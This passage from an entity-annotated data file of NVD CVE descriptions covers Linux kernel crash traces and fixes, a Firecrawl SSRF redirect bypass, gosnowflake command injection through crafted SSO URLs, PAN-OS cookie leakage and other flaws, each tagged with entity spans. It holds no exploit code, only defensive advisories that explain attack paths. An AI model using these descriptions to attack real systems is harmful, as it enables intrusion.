0000000040bde3c0 0000000000000007\n[1274934.746891] r20-23  0000000000000006 000000004a368950 0000000000000000 0000000000000001\n[1274934.746891] r24-27  0000000000001fff 000000000800000e 000000004a1710f0 0000000040b693c0\n[1274934.746891] r28-31  0000000000000001 0000000041f988b0 0000000041f98840 000000004a171118\n[1274934.746891] sr00-03  00000000066e5800 0000000000000000 0000000000000000 00000000066e5800\n[1274934.746891] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000\n[1274934.746891]\n[1274934.746891] IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000406760e8 00000000406760ec\n[1274934.746891]  IIR: 48780030    ISR: 0000000000000000  IOR: 0000004140000018\n[1274934.746891]  CPU:        3   CR30: 00000040e3a9c000 CR31: ffffffffffffffff\n[1274934.746891]  ORIG_R28: 0000000040acdd58\n[1274934.746891]  IAOQ[0]: sba_unmap_sg+0xb0/0x118\n[1274934.746891]  IAOQ[1]: sba_unmap_sg+0xb4/0x118\n[1274934.746891]  RP(r2): sba_unmap_sg+0xac/0x118\n[1274934.746891] Backtrace:\n[1274934.746891]  [<00000000402740cc>] dma_unmap_sg_attrs+0x6c/0x70\n[1274934.746891]  [<000000004074d6bc>] scsi_dma_unmap+0x54/0x60\n[1274934.746891]  [<00000000407a3488>] mptscsih_io_done+0x150/0xd70\n[1274934.746891]  [<0000000040798600>] mpt_interrupt+0x168/0xa68\n[1274934.746891]  [<0000000040255a48>] __handle_irq_event_percpu+0xc8/0x278\n[1274934.746891]  [<0000000040255c34>] handle_irq_event_percpu+0x3c/0xd8\n[1274934.746891]  [<000000004025ecb4>] handle_percpu_irq+0xb4/0xf0\n[1274934.746891]  [<00000000402548e0>] generic_handle_irq+0x50/0x70\n[1274934.746891]  [<000000004019a254>] call_on_stack+0x18/0x24\n[1274934.746891]\n[1274934.746891] Kernel panic - not syncing: Bad Address (null pointer deref?)\n\nThe bug is caused by overrunning the sglist and incorrectly testing\nsg_dma_len(sglist) before nents. Normally this doesn't cause a crash,\nbut in this case sglist crossed a page boundary. This occurs in the\nfollowing code:\n\n\twhile (sg_dma_len(sglist) && nents--) {\n\nThe fix is simply to test nents first and move the decrement of nents\ninto the loop.", "spans": {"HASH: 00001000000001001111111000001110": [[488, 520]], "FILEPATH: /785/C8000": [[383, 393]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48795"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nfirmware_loader: Block path traversal\n\nMost firmware names are hardcoded strings, or are constructed from fairly\nconstrained format strings where the dynamic parts are just some hex\nnumbers or such.\n\nHowever, there are a couple codepaths in the kernel where firmware file\nnames contain string components that are passed through from a device or\nsemi-privileged userspace; the ones I could find (not counting interfaces\nthat require root privileges) are:\n\n - lpfc_sli4_request_firmware_update() seems to construct the firmware\n   filename from \"ModelName\", a string that was previously parsed out of\n   some descriptor (\"Vital Product Data\") in lpfc_fill_vpd()\n - nfp_net_fw_find() seems to construct a firmware filename from a model\n   name coming from nfp_hwinfo_lookup(pf->hwinfo, \"nffw.partno\"), which I\n   think parses some descriptor that was read from the device.\n   (But this case likely isn't exploitable because the format string looks\n   like \"netronome/nic_%s\", and there shouldn't be any *folders* starting\n   with \"netronome/nic_\". The previous case was different because there,\n   the \"%s\" is *at the start* of the format string.)\n - module_flash_fw_schedule() is reachable from the\n   ETHTOOL_MSG_MODULE_FW_FLASH_ACT netlink command, which is marked as\n   GENL_UNS_ADMIN_PERM (meaning CAP_NET_ADMIN inside a user namespace is\n   enough to pass the privilege check), and takes a userspace-provided\n   firmware name.\n   (But I think to reach this case, you need to have CAP_NET_ADMIN over a\n   network namespace that a special kind of ethernet device is mapped into,\n   so I think this is not a viable attack path in practice.)\n\nFix it by rejecting any firmware names containing \"..\" path components.\n\nFor what it's worth, I went looking and haven't found any USB device\ndrivers that use the firmware loader dangerously.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: path traversal": [[92, 106]], "VULNERABILITY: format string": [[994, 1007], [1198, 1211]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-47742"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs/ntfs3: Validate data run offset\n\nThis adds sanity checks for data run offset. We should make sure data\nrun offset is legit before trying to unpack them, otherwise we may\nencounter use-after-free or some unexpected memory access behaviors.\n\n[   82.940342] BUG: KASAN: use-after-free in run_unpack+0x2e3/0x570\n[   82.941180] Read of size 1 at addr ffff888008a8487f by task mount/240\n[   82.941670]\n[   82.942069] CPU: 0 PID: 240 Comm: mount Not tainted 5.19.0+ #15\n[   82.942482] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org 04/01/2014\n[   82.943720] Call Trace:\n[   82.944204]  <TASK>\n[   82.944471]  dump_stack_lvl+0x49/0x63\n[   82.944908]  print_report.cold+0xf5/0x67b\n[   82.945141]  ? __wait_on_bit+0x106/0x120\n[   82.945750]  ? run_unpack+0x2e3/0x570\n[   82.946626]  kasan_report+0xa7/0x120\n[   82.947046]  ? run_unpack+0x2e3/0x570\n[   82.947280]  __asan_load1+0x51/0x60\n[   82.947483]  run_unpack+0x2e3/0x570\n[   82.947709]  ? memcpy+0x4e/0x70\n[   82.947927]  ? run_pack+0x7a0/0x7a0\n[   82.948158]  run_unpack_ex+0xad/0x3f0\n[   82.948399]  ? mi_enum_attr+0x14a/0x200\n[   82.948717]  ? run_unpack+0x570/0x570\n[   82.949072]  ? ni_enum_attr_ex+0x1b2/0x1c0\n[   82.949332]  ? ni_fname_type.part.0+0xd0/0xd0\n[   82.949611]  ? mi_read+0x262/0x2c0\n[   82.949970]  ? ntfs_cmp_names_cpu+0x125/0x180\n[   82.950249]  ntfs_iget5+0x632/0x1870\n[   82.950621]  ? ntfs_get_block_bmap+0x70/0x70\n[   82.951192]  ? evict+0x223/0x280\n[   82.951525]  ? iput.part.0+0x286/0x320\n[   82.951969]  ntfs_fill_super+0x1321/0x1e20\n[   82.952436]  ? put_ntfs+0x1d0/0x1d0\n[   82.952822]  ? vsprintf+0x20/0x20\n[   82.953188]  ? mutex_unlock+0x81/0xd0\n[   82.953379]  ? set_blocksize+0x95/0x150\n[   82.954001]  get_tree_bdev+0x232/0x370\n[   82.954438]  ? put_ntfs+0x1d0/0x1d0\n[   82.954700]  ntfs_fs_get_tree+0x15/0x20\n[   82.955049]  vfs_get_tree+0x4c/0x130\n[   82.955292]  path_mount+0x645/0xfd0\n[   82.955615]  ? putname+0x80/0xa0\n[   82.955955]  ? finish_automount+0x2e0/0x2e0\n[   82.956310]  ? kmem_cache_free+0x110/0x390\n[   82.956723]  ? putname+0x80/0xa0\n[   82.957023]  do_mount+0xd6/0xf0\n[   82.957411]  ? path_mount+0xfd0/0xfd0\n[   82.957638]  ? __kasan_check_write+0x14/0x20\n[   82.957948]  __x64_sys_mount+0xca/0x110\n[   82.958310]  do_syscall_64+0x3b/0x90\n[   82.958719]  entry_SYSCALL_64_after_hwframe+0x63/0xcd\n[   82.959341] RIP: 0033:0x7fd0d1ce948a\n[   82.960193] Code: 48 8b 0d 11 fa 2a 00 f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 49 89 ca b8 a5 00 00 008\n[   82.961532] RSP: 002b:00007ffe59ff69a8 EFLAGS: 00000202 ORIG_RAX: 00000000000000a5\n[   82.962527] RAX: ffffffffffffffda RBX: 0000564dcc107060 RCX: 00007fd0d1ce948a\n[   82.963266] RDX: 0000564dcc107260 RSI: 0000564dcc1072e0 RDI: 0000564dcc10fce0\n[   82.963686] RBP: 0000000000000000 R08: 0000564dcc107280 R09: 0000000000000020\n[   82.964272] R10: 00000000c0ed0000 R11: 0000000000000202 R12: 0000564dcc10fce0\n[   82.964785] R13: 0000564dcc107260 R14: 0000000000000000 R15: 00000000ffffffff", "spans": {"DOMAIN: rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org": [[610, 654]], "FILEPATH: /01/2014": [[657, 665]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[565, 569]], "VULNERABILITY: use-after-free": [[252, 266], [339, 353]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50507"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\n9p/trans_fd: always use O_NONBLOCK read/write\n\nsyzbot is reporting hung task at p9_fd_close() [1], for p9_mux_poll_stop()\n from p9_conn_destroy() from p9_fd_close() is failing to interrupt already\nstarted kernel_read() from p9_fd_read() from p9_read_work() and/or\nkernel_write() from p9_fd_write() from p9_write_work() requests.\n\nSince p9_socket_open() sets O_NONBLOCK flag, p9_mux_poll_stop() does not\nneed to interrupt kernel_read()/kernel_write(). However, since p9_fd_open()\ndoes not set O_NONBLOCK flag, but pipe blocks unless signal is pending,\np9_mux_poll_stop() needs to interrupt kernel_read()/kernel_write() when\nthe file descriptor refers to a pipe. In other words, pipe file descriptor\nneeds to be handled as if socket file descriptor.\n\nWe somehow need to interrupt kernel_read()/kernel_write() on pipes.\n\nA minimal change, which this patch is doing, is to set O_NONBLOCK flag\n from p9_fd_open(), for O_NONBLOCK flag does not affect reading/writing\nof regular files. But this approach changes O_NONBLOCK flag on userspace-\nsupplied file descriptors (which might break userspace programs), and\nO_NONBLOCK flag could be changed by userspace. It would be possible to set\nO_NONBLOCK flag every time p9_fd_read()/p9_fd_write() is invoked, but still\nremains small race window for clearing O_NONBLOCK flag.\n\nIf we don't want to manipulate O_NONBLOCK flag, we might be able to\nsurround kernel_read()/kernel_write() with set_thread_flag(TIF_SIGPENDING)\nand recalc_sigpending(). Since p9_read_work()/p9_write_work() works are\nprocessed by kernel threads which process global system_wq workqueue,\nsignals could not be delivered from remote threads when p9_mux_poll_stop()\n from p9_conn_destroy() from p9_fd_close() is called. Therefore, calling\nset_thread_flag(TIF_SIGPENDING)/recalc_sigpending() every time would be\nneeded if we count on signals for making kernel_read()/kernel_write()\nnon-blocking.\n\n[Dominique: add comment at Christian's suggestion]", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49767"}}
{"text": "A cleartext transmission of sensitive information vulnerability in Palo Alto Networks PAN-OS Panorama that discloses an authenticated PAN-OS administrator's PAN-OS session cookie. When an administrator issues a context switch request into a managed firewall with an affected PAN-OS Panorama version, their PAN-OS session cookie is transmitted over cleartext to the firewall. An attacker with the ability to intercept this network traffic between the firewall and Panorama can access the administrator's account and further manipulate devices managed by Panorama. This issue affects: PAN-OS 7.1 versions earlier than 7.1.26; PAN-OS 8.1 versions earlier than 8.1.13; PAN-OS 9.0 versions earlier than 9.0.6; PAN-OS 9.1 versions earlier than 9.1.1; All version of PAN-OS 8.0;", "spans": {"SYSTEM: PAN-OS": [[86, 92], [134, 140], [157, 163], [275, 281], [306, 312], [583, 589], [624, 630], [665, 671], [705, 711], [760, 766]], "ORGANIZATION: Palo Alto Networks": [[67, 85]], "VULNERABILITY: cleartext transmission": [[2, 24]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2013"}}
{"text": "gosnowflake is th Snowflake Golang driver. Prior to version 1.6.19, a command injection vulnerability exists in the Snowflake Golang driver via single sign-on (SSO) browser URL authentication. In order to exploit the potential for command injection, an attacker would need to be successful in (1) establishing a malicious resource and (2) redirecting users to utilize the resource. The attacker could set up a malicious, publicly accessible server which responds to the SSO URL with an attack payload. If the attacker then tricked a user into visiting the maliciously crafted connection URL, the user’s local machine would render the malicious payload, leading to a remote code execution. This attack scenario can be mitigated through URL whitelisting as well as common anti-phishing resources. A patch is available in version 1.6.19.", "spans": {"VULNERABILITY: remote code execution": [[666, 687]], "VULNERABILITY: command injection": [[70, 87], [231, 248]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-34231"}}
{"text": "Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability in Apache Tomcat.\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.1, from 10.1.0-M1 through 10.1.33, from 9.0.0.M1 through 9.0.97.\nThe following versions were EOL at the time the CVE was created but are \nknown to be affected: 8.5.0 though 8.5.100. Other, older, EOL versions \nmay also be affected.\n\n\nThe mitigation for CVE-2024-50379 was incomplete.\n\nUsers running Tomcat on a case insensitive file system with the default servlet write enabled (readonly initialisation \nparameter set to the non-default value of false) may need additional configuration to fully mitigate CVE-2024-50379 depending on which version of Java they are using with Tomcat:\n- running on Java 8 or Java 11: the system property sun.io.useCanonCaches must be explicitly set to false (it defaults to true)\n- running on Java 17: the system property sun.io.useCanonCaches, if set, must be set to false (it defaults to false)\n- running on Java 21 onwards: no further configuration is required (the system property and the problematic cache have been removed)\n\nTomcat 11.0.3, 10.1.35 and 9.0.99 onwards will include checks that sun.io.useCanonCaches is set appropriately before allowing the default servlet to be write enabled on a case insensitive file system. Tomcat will also set sun.io.useCanonCaches to false by default where it can.", "spans": {"CVE_ID: CVE-2024-50379": [[398, 412], [651, 665]], "DOMAIN: sun.io": [[781, 787], [899, 905], [1175, 1181], [1330, 1336]], "SYSTEM: Apache Tomcat": [[67, 80], [102, 115]], "SYSTEM: Java": [[696, 700], [742, 746], [752, 756], [870, 874], [987, 991]], "VULNERABILITY: Time-of-check Time-of-use": [[0, 25]], "VULNERABILITY: Race Condition": [[35, 49]], "VULNERABILITY: TOCTOU": [[27, 33]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-56337"}}
{"text": "Deserialization of untrusted data in IPC and Parquet readers in the Apache Arrow R package versions 4.0.0 through 16.1.0 allows arbitrary code execution. An application is vulnerable if it \nreads Arrow IPC, Feather or Parquet data from untrusted sources (for \nexample, user-supplied input files). This vulnerability only affects the arrow R package, not other Apache Arrow \nimplementations or bindings unless those bindings are specifically used via the R package (for example, an R application that embeds a Python interpreter and uses PyArrow to read files from untrusted sources is still vulnerable if the arrow R package is an affected version). It is recommended that users of the arrow R package upgrade to 17.0.0 or later. Similarly, it\n is recommended that downstream libraries upgrade their dependency \nrequirements to arrow 17.0.0 or later. If using an affected\nversion of the package, untrusted data can read into a Table and its internal to_data_frame() method can be used as a workaround (e.g., read_parquet(..., as_data_frame = FALSE)$to_data_frame()).\n\n\nThis issue affects the Apache Arrow R package: from 4.0.0 through 16.1.0.\n\n\nUsers are recommended to upgrade to version 17.0.0, which fixes the issue.", "spans": {"SYSTEM: Python": [[509, 515]], "ORGANIZATION: Apache": [[68, 74], [360, 366], [1092, 1098]], "VULNERABILITY: Deserialization": [[0, 15]], "VULNERABILITY: code execution": [[138, 152]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-52338"}}
{"text": "Firecrawl version 2.8.0 and prior contain a server-side request forgery (SSRF) protection bypass vulnerability in the Playwright scraping service where network policy validation is applied only to the initial user-supplied URL and not to subsequent redirect destinations. Attackers can supply an externally valid URL that passes validation and returns an HTTP redirect to an internal or restricted resource, allowing the browser to follow the redirect and fetch the final destination without revalidation, thereby gaining access to internal network services and sensitive endpoints. This issue is distinct from CVE-2024-56800, which describes redirect-based SSRF generally. This vulnerability specifically arises from a post-redirect enforcement gap in implemented SSRF protections, where validation is applied only to the initial request and not to the final redirected destination.", "spans": {"CVE_ID: CVE-2024-56800": [[611, 625]], "VULNERABILITY: server-side request forgery": [[44, 71]], "VULNERABILITY: SSRF": [[73, 77], [658, 662], [765, 769]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-32857"}}
{"text": "<p>A remote code execution vulnerability exists when the Windows Text Service Module improperly handles memory. An attacker who successfully exploited the vulnerability could gain execution on a victim system.</p>\n<p>An attacker could host a specially crafted website that is designed to exploit the vulnerability through Microsoft Edge (Chromium-based), and then convince a user to view the website. The attacker could also take advantage of compromised websites and websites that accept or host user-provided content or advertisements by adding specially crafted content that could exploit the vulnerability. In all cases, however, an attacker would have no way to force users to view the attacker-controlled content. Instead, an attacker would have to convince users to take action, typically by way of enticement in an email or Instant Messenger message, or by getting them to open an attachment sent through email.</p>\n<p>The security update addresses the vulnerability by correcting how the Windows Text Service Module handles memory.</p>", "spans": {"SYSTEM: Microsoft Edge": [[322, 336]], "SYSTEM: Chromium": [[338, 346]], "SYSTEM: Windows": [[57, 64], [997, 1004]], "VULNERABILITY: remote code execution": [[5, 26]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-0908"}}
{"text": "The OpenSSL public API function X509_issuer_and_serial_hash() attempts to create a unique hash value based on the issuer and serial number data contained within an X509 certificate. However it fails to correctly handle any errors that may occur while parsing the issuer field (which might occur if the issuer field is maliciously constructed). This may subsequently result in a NULL pointer deref and a crash leading to a potential denial of service attack. The function X509_issuer_and_serial_hash() is never directly called by OpenSSL itself so applications are only vulnerable if they use this function directly and they use it on certificates that may have been obtained from untrusted sources. OpenSSL versions 1.1.1i and below are affected by this issue. Users of these versions should upgrade to OpenSSL 1.1.1j. OpenSSL versions 1.0.2x and below are affected by this issue. However OpenSSL 1.0.2 is out of support and no longer receiving public updates. Premium support customers of OpenSSL 1.0.2 should upgrade to 1.0.2y. Other users should upgrade to 1.1.1j. Fixed in OpenSSL 1.1.1j (Affected 1.1.1-1.1.1i). Fixed in OpenSSL 1.0.2y (Affected 1.0.2-1.0.2x).", "spans": {"SYSTEM: OpenSSL": [[4, 11], [529, 536], [699, 706], [803, 810], [819, 826], [889, 896], [990, 997], [1077, 1084], [1126, 1133]], "VULNERABILITY: denial of service": [[432, 449]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-23841"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nhfsplus: fix slab-out-of-bounds read in hfsplus_uni2asc()\n\nThe hfsplus_readdir() method is capable to crash by calling\nhfsplus_uni2asc():\n\n[  667.121659][ T9805] ==================================================================\n[  667.122651][ T9805] BUG: KASAN: slab-out-of-bounds in hfsplus_uni2asc+0x902/0xa10\n[  667.123627][ T9805] Read of size 2 at addr ffff88802592f40c by task repro/9805\n[  667.124578][ T9805]\n[  667.124876][ T9805] CPU: 3 UID: 0 PID: 9805 Comm: repro Not tainted 6.16.0-rc3 #1 PREEMPT(full)\n[  667.124886][ T9805] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\n[  667.124890][ T9805] Call Trace:\n[  667.124893][ T9805]  <TASK>\n[  667.124896][ T9805]  dump_stack_lvl+0x10e/0x1f0\n[  667.124911][ T9805]  print_report+0xd0/0x660\n[  667.124920][ T9805]  ? __virt_addr_valid+0x81/0x610\n[  667.124928][ T9805]  ? __phys_addr+0xe8/0x180\n[  667.124934][ T9805]  ? hfsplus_uni2asc+0x902/0xa10\n[  667.124942][ T9805]  kasan_report+0xc6/0x100\n[  667.124950][ T9805]  ? hfsplus_uni2asc+0x902/0xa10\n[  667.124959][ T9805]  hfsplus_uni2asc+0x902/0xa10\n[  667.124966][ T9805]  ? hfsplus_bnode_read+0x14b/0x360\n[  667.124974][ T9805]  hfsplus_readdir+0x845/0xfc0\n[  667.124984][ T9805]  ? __pfx_hfsplus_readdir+0x10/0x10\n[  667.124994][ T9805]  ? stack_trace_save+0x8e/0xc0\n[  667.125008][ T9805]  ? iterate_dir+0x18b/0xb20\n[  667.125015][ T9805]  ? trace_lock_acquire+0x85/0xd0\n[  667.125022][ T9805]  ? lock_acquire+0x30/0x80\n[  667.125029][ T9805]  ? iterate_dir+0x18b/0xb20\n[  667.125037][ T9805]  ? down_read_killable+0x1ed/0x4c0\n[  667.125044][ T9805]  ? putname+0x154/0x1a0\n[  667.125051][ T9805]  ? __pfx_down_read_killable+0x10/0x10\n[  667.125058][ T9805]  ? apparmor_file_permission+0x239/0x3e0\n[  667.125069][ T9805]  iterate_dir+0x296/0xb20\n[  667.125076][ T9805]  __x64_sys_getdents64+0x13c/0x2c0\n[  667.125084][ T9805]  ? __pfx___x64_sys_getdents64+0x10/0x10\n[  667.125091][ T9805]  ? __x64_sys_openat+0x141/0x200\n[  667.125126][ T9805]  ? __pfx_filldir64+0x10/0x10\n[  667.125134][ T9805]  ? do_user_addr_fault+0x7fe/0x12f0\n[  667.125143][ T9805]  do_syscall_64+0xc9/0x480\n[  667.125151][ T9805]  entry_SYSCALL_64_after_hwframe+0x77/0x7f\n[  667.125158][ T9805] RIP: 0033:0x7fa8753b2fc9\n[  667.125164][ T9805] Code: 00 c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 48\n[  667.125172][ T9805] RSP: 002b:00007ffe96f8e0f8 EFLAGS: 00000217 ORIG_RAX: 00000000000000d9\n[  667.125181][ T9805] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fa8753b2fc9\n[  667.125185][ T9805] RDX: 0000000000000400 RSI: 00002000000063c0 RDI: 0000000000000004\n[  667.125190][ T9805] RBP: 00007ffe96f8e110 R08: 00007ffe96f8e110 R09: 00007ffe96f8e110\n[  667.125195][ T9805] R10: 0000000000000000 R11: 0000000000000217 R12: 0000556b1e3b4260\n[  667.125199][ T9805] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000\n[  667.125207][ T9805]  </TASK>\n[  667.125210][ T9805]\n[  667.145632][ T9805] Allocated by task 9805:\n[  667.145991][ T9805]  kasan_save_stack+0x20/0x40\n[  667.146352][ T9805]  kasan_save_track+0x14/0x30\n[  667.146717][ T9805]  __kasan_kmalloc+0xaa/0xb0\n[  667.147065][ T9805]  __kmalloc_noprof+0x205/0x550\n[  667.147448][ T9805]  hfsplus_find_init+0x95/0x1f0\n[  667.147813][ T9805]  hfsplus_readdir+0x220/0xfc0\n[  667.148174][ T9805]  iterate_dir+0x296/0xb20\n[  667.148549][ T9805]  __x64_sys_getdents64+0x13c/0x2c0\n[  667.148937][ T9805]  do_syscall_64+0xc9/0x480\n[  667.149291][ T9805]  entry_SYSCALL_64_after_hwframe+0x77/0x7f\n[  667.149809][ T9805]\n[  667.150030][ T9805] The buggy address belongs to the object at ffff88802592f000\n[  667.150030][ T9805]  which belongs to the cache kmalloc-2k of size 2048\n[  667.151282][ T9805] The buggy address is located 0 bytes to the right of\n[  667.151282][ T9805]  allocated 1036-byte region [ffff88802592f000, ffff88802592f40c)\n[  667.1\n---truncated---", "spans": {"FILEPATH: /01/2014": [[699, 707]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[625, 629]], "ORGANIZATION: Ubuntu": [[630, 636]], "VULNERABILITY: out-of-bounds read": [[87, 105]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38713"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwriteback: don't block sync for filesystems with no data integrity guarantees\n\nAdd a SB_I_NO_DATA_INTEGRITY superblock flag for filesystems that cannot\nguarantee data persistence on sync (eg fuse). For superblocks with this\nflag set, sync kicks off writeback of dirty inodes but does not wait\nfor the flusher threads to complete the writeback.\n\nThis replaces the per-inode AS_NO_DATA_INTEGRITY mapping flag added in\ncommit f9a49aa302a0 (\"fs/writeback: skip AS_NO_DATA_INTEGRITY mappings\nin wait_sb_inodes()\"). The flag belongs at the superblock level because\ndata integrity is a filesystem-wide property, not a per-inode one.\nHaving this flag at the superblock level also allows us to skip having\nto iterate every dirty inode in wait_sb_inodes() only to skip each inode\nindividually.\n\nPrior to this commit, mappings with no data integrity guarantees skipped\nwaiting on writeback completion but still waited on the flusher threads\nto finish initiating the writeback. Waiting on the flusher threads is\nunnecessary. This commit kicks off writeback but does not wait on the\nflusher threads. This change properly addresses a recent report [1] for\na suspend-to-RAM hang seen on fuse-overlayfs that was caused by waiting\non the flusher threads to finish:\n\nWorkqueue: pm_fs_sync pm_fs_sync_work_fn\nCall Trace:\n <TASK>\n __schedule+0x457/0x1720\n schedule+0x27/0xd0\n wb_wait_for_completion+0x97/0xe0\n sync_inodes_sb+0xf8/0x2e0\n __iterate_supers+0xdc/0x160\n ksys_sync+0x43/0xb0\n pm_fs_sync_work_fn+0x17/0xa0\n process_one_work+0x193/0x350\n worker_thread+0x1a1/0x310\n kthread+0xfc/0x240\n ret_from_fork+0x243/0x280\n ret_from_fork_asm+0x1a/0x30\n </TASK>\n\nOn fuse this is problematic because there are paths that may cause the\nflusher thread to block (eg if systemd freezes the user session cgroups\nfirst, which freezes the fuse daemon, before invoking the kernel\nsuspend. The kernel suspend triggers ->write_node() which on fuse issues\na synchronous setattr request, which cannot be processed since the\ndaemon is frozen. Or if the daemon is buggy and cannot properly complete\nwriteback, initiating writeback on a dirty folio already under writeback\nleads to writeback_get_folio() -> folio_prepare_writeback() ->\nunconditional wait on writeback to finish, which will cause a hang).\nThis commit restores fuse to its prior behavior before tmp folios were\nremoved, where sync was essentially a no-op.\n\n[1] https://lore.kernel.org/linux-fsdevel/CAJnrk1a-asuvfrbKXbEwwDSctvemF+6zfhdnuzO65Pt8HsFSRw@mail.gmail.com/T/#m632c4648e9cafc4239299887109ebd880ac6c5c1", "spans": {"URL: https://lore.kernel.org/linux-fsdevel/CAJnrk1a-asuvfrbKXbEwwDSctvemF+6zfhdnuzO65Pt8HsFSRw@mail.gmail.com/T/#m632c4648e9cafc4239299887109ebd880ac6c5c1": [[2455, 2604]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: systemd": [[1810, 1817]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-31465"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: iptables: Fix null-ptr-deref in iptable_nat_table_init().\n\nWe had a report that iptables-restore sometimes triggered null-ptr-deref\nat boot time. [0]\n\nThe problem is that iptable_nat_table_init() is exposed to user space\nbefore the kernel fully initialises netns.\n\nIn the small race window, a user could call iptable_nat_table_init()\nthat accesses net_generic(net, iptable_nat_net_id), which is available\nonly after registering iptable_nat_net_ops.\n\nLet's call register_pernet_subsys() before xt_register_template().\n\n[0]:\nbpfilter: Loaded bpfilter_umh pid 11702\nStarted bpfilter\nBUG: kernel NULL pointer dereference, address: 0000000000000013\n PF: supervisor write access in kernel mode\n PF: error_code(0x0002) - not-present page\nPGD 0 P4D 0\nPREEMPT SMP NOPTI\nCPU: 2 PID: 11879 Comm: iptables-restor Not tainted 6.1.92-99.174.amzn2023.x86_64 #1\nHardware name: Amazon EC2 c6i.4xlarge/, BIOS 1.0 10/16/2017\nRIP: 0010:iptable_nat_table_init (net/ipv4/netfilter/iptable_nat.c:87 net/ipv4/netfilter/iptable_nat.c:121) iptable_nat\nCode: 10 4c 89 f6 48 89 ef e8 0b 19 bb ff 41 89 c4 85 c0 75 38 41 83 c7 01 49 83 c6 28 41 83 ff 04 75 dc 48 8b 44 24 08 48 8b 0c 24 <48> 89 08 4c 89 ef e8 a2 3b a2 cf 48 83 c4 10 44 89 e0 5b 5d 41 5c\nRSP: 0018:ffffbef902843cd0 EFLAGS: 00010246\nRAX: 0000000000000013 RBX: ffff9f4b052caa20 RCX: ffff9f4b20988d80\nRDX: 0000000000000000 RSI: 0000000000000064 RDI: ffffffffc04201c0\nRBP: ffff9f4b29394000 R08: ffff9f4b07f77258 R09: ffff9f4b07f77240\nR10: 0000000000000000 R11: ffff9f4b09635388 R12: 0000000000000000\nR13: ffff9f4b1a3c6c00 R14: ffff9f4b20988e20 R15: 0000000000000004\nFS:  00007f6284340000(0000) GS:ffff9f51fe280000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000000000000013 CR3: 00000001d10a6005 CR4: 00000000007706e0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nPKRU: 55555554\nCall Trace:\n <TASK>\n ? show_trace_log_lvl (arch/x86/kernel/dumpstack.c:259)\n ? show_trace_log_lvl (arch/x86/kernel/dumpstack.c:259)\n ? xt_find_table_lock (net/netfilter/x_tables.c:1259)\n ? __die_body.cold (arch/x86/kernel/dumpstack.c:478 arch/x86/kernel/dumpstack.c:420)\n ? page_fault_oops (arch/x86/mm/fault.c:727)\n ? exc_page_fault (./arch/x86/include/asm/irqflags.h:40 ./arch/x86/include/asm/irqflags.h:75 arch/x86/mm/fault.c:1470 arch/x86/mm/fault.c:1518)\n ? asm_exc_page_fault (./arch/x86/include/asm/idtentry.h:570)\n ? iptable_nat_table_init (net/ipv4/netfilter/iptable_nat.c:87 net/ipv4/netfilter/iptable_nat.c:121) iptable_nat\n xt_find_table_lock (net/netfilter/x_tables.c:1259)\n xt_request_find_table_lock (net/netfilter/x_tables.c:1287)\n get_info (net/ipv4/netfilter/ip_tables.c:965)\n ? security_capable (security/security.c:809 (discriminator 13))\n ? ns_capable (kernel/capability.c:376 kernel/capability.c:397)\n ? do_ipt_get_ctl (net/ipv4/netfilter/ip_tables.c:1656)\n ? bpfilter_send_req (net/bpfilter/bpfilter_kern.c:52) bpfilter\n nf_getsockopt (net/netfilter/nf_sockopt.c:116)\n ip_getsockopt (net/ipv4/ip_sockglue.c:1827)\n __sys_getsockopt (net/socket.c:2327)\n __x64_sys_getsockopt (net/socket.c:2342 net/socket.c:2339 net/socket.c:2339)\n do_syscall_64 (arch/x86/entry/common.c:51 arch/x86/entry/common.c:81)\n entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)\nRIP: 0033:0x7f62844685ee\nCode: 48 8b 0d 45 28 0f 00 f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa 49 89 ca b8 37 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 0a c3 66 0f 1f 84 00 00 00 00 00 48 8b 15 